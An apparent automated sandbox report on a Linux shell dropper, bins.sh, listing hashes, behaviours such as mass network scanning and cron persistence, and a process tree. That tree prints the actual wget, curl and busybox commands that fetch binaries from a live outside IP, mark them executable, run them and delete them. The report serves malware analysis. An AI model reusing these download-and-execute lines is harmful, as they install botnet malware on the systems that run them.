Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/11/2024, 13:51

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6455d6e588df96170309a55c34f9a5fb

  • SHA1

    285a51c3374e49307c0244a46a13fc489d56f340

  • SHA256

    cf96cf96c66ebd8661203d14b1a005accb5a1be456552d9e407e067a16981947

  • SHA512

    eb65d310ae1cbd98fdd88181db8f2667ca296ec34b9187118dbd0d1fb891280c433137d14b63d8876d7c6c35ef14a0eb9501cff9662900ad6bedec1fbda8f053

  • SSDEEP

    96:wJqoEYYsFnB9q0XXYQIFxDuu5TWtDxeWusXYQIFxlWQuu5TWtDVnp0vvaR0oEuuZ:wJlYsFnBHcuuEtDMRuuEtD/CN3

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1965) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:655
        • /usr/bin/wget
          wget http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
          2⤵
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
          ./1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
          2⤵
          • Executes dropped EXE
          PID:683
        • /bin/rm
          rm 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
          2⤵
            PID:685
          • /usr/bin/wget
            wget http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
            2⤵
            • Writes file to tmp directory
            PID:687
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:688
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
            2⤵
            • Writes file to tmp directory
            PID:697
          • /bin/chmod
            chmod 777 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
            2⤵
            • File and Directory Permissions Modification
            PID:701
          • /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
            ./tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
            2⤵
            • Executes dropped EXE
            PID:703
          • /bin/rm
            rm tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
            2⤵
              PID:706
            • /usr/bin/wget
              wget http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
              2⤵
              • Writes file to tmp directory
              PID:707
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:714
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
              2⤵
              • Writes file to tmp directory
              PID:733
            • /bin/chmod
              chmod 777 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
              2⤵
              • File and Directory Permissions Modification
              PID:738
            • /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
              ./B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:740
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:742
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:743
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:745
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:746
                  • /bin/rm
                    rm B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
                    2⤵
                      PID:751
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
                      2⤵
                        PID:754
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
                        2⤵
                          PID:755
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
                          2⤵
                          • Writes file to tmp directory
                          PID:837
                        • /bin/chmod
                          chmod 777 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
                          2⤵
                          • File and Directory Permissions Modification
                          PID:839
                        • /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
                          ./ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
                          2⤵
                          • Executes dropped EXE
                          PID:840
                        • /bin/rm
                          rm ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
                          2⤵
                            PID:841
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
                            2⤵
                              PID:842
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
                              2⤵
                                PID:843
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
                                2⤵
                                • Writes file to tmp directory
                                PID:845
                              • /bin/chmod
                                chmod 777 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
                                2⤵
                                • File and Directory Permissions Modification
                                PID:846
                              • /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
                                ./zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
                                2⤵
                                • Executes dropped EXE
                                PID:847
                              • /bin/rm
                                rm zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
                                2⤵
                                  PID:848
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
                                  2⤵
                                    PID:849
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
                                    2⤵
                                      PID:850
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:851
                                    • /bin/chmod
                                      chmod 777 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:853
                                    • /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
                                      ./p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
                                      2⤵
                                      • Executes dropped EXE
                                      PID:855
                                    • /bin/rm
                                      rm p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
                                      2⤵
                                        PID:856
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
                                        2⤵
                                          PID:857
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
                                          2⤵
                                            PID:859
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:861
                                          • /bin/chmod
                                            chmod 777 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:864
                                          • /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
                                            ./UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
                                            2⤵
                                            • Executes dropped EXE
                                            PID:866
                                          • /bin/rm
                                            rm UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
                                            2⤵
                                              PID:869
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
                                              2⤵
                                                PID:874
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
                                                2⤵
                                                  PID:875
                                                • /bin/busybox
                                                  /bin/busybox wget http://216.126.231.240/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:880
                                                • /bin/chmod
                                                  chmod 777 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:884
                                                • /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
                                                  ./3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:886
                                                • /bin/rm
                                                  rm 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
                                                  2⤵
                                                    PID:888
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
                                                    2⤵
                                                      PID:889

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls

                                                    Filesize

                                                    107KB

                                                    MD5

                                                    eb9c3a0de91fcf16ba17cb24608df68c

                                                    SHA1

                                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                                    SHA256

                                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                    SHA512

                                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                  • /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6

                                                    Filesize

                                                    117KB

                                                    MD5

                                                    849fa04ef88a8e8de32cb2e8538de5fe

                                                    SHA1

                                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                    SHA256

                                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                    SHA512

                                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                  • /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs

                                                    Filesize

                                                    141KB

                                                    MD5

                                                    3ca8decdb1e52c423c521bfff02ac200

                                                    SHA1

                                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                    SHA256

                                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                    SHA512

                                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                  • /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm

                                                    Filesize

                                                    111KB

                                                    MD5

                                                    701e7a55a4f3650f5feee92a9860e5fc

                                                    SHA1

                                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                    SHA256

                                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                    SHA512

                                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                  • /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G

                                                    Filesize

                                                    119KB

                                                    MD5

                                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                                    SHA1

                                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                    SHA256

                                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                    SHA512

                                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                  • /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe

                                                    Filesize

                                                    111KB

                                                    MD5

                                                    ca897a38f23ec23521ce0b1b83f8422d

                                                    SHA1

                                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                    SHA256

                                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                    SHA512

                                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                  • /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs

                                                    Filesize

                                                    112KB

                                                    MD5

                                                    05d7857dcead18bbd86d2935f591873c

                                                    SHA1

                                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                    SHA256

                                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                    SHA512

                                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                  • /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb

                                                    Filesize

                                                    177KB

                                                    MD5

                                                    786d75a158fe731feca3880f436082c0

                                                    SHA1

                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                    SHA256

                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                    SHA512

                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                  • /var/spool/cron/crontabs/tmp.KMkY7W

                                                    Filesize

                                                    210B

                                                    MD5

                                                    219bbe28ba0ffcffc137e473ccf86bc8

                                                    SHA1

                                                    28216c7d71338b8cadf502266e360cfd4281ce47

                                                    SHA256

                                                    c6a4e11cf74558546050afef8966c55547275bb1f84e45c7a84f438985d0aaf2

                                                    SHA512

                                                    cca63b71c4c32f1f92b2659c732efb9bb15fff800af1b3639e15a4324c070fb31dc5311e57bd1986b6299d994266d64de23ce5724884fff469e1d071b37c4cdf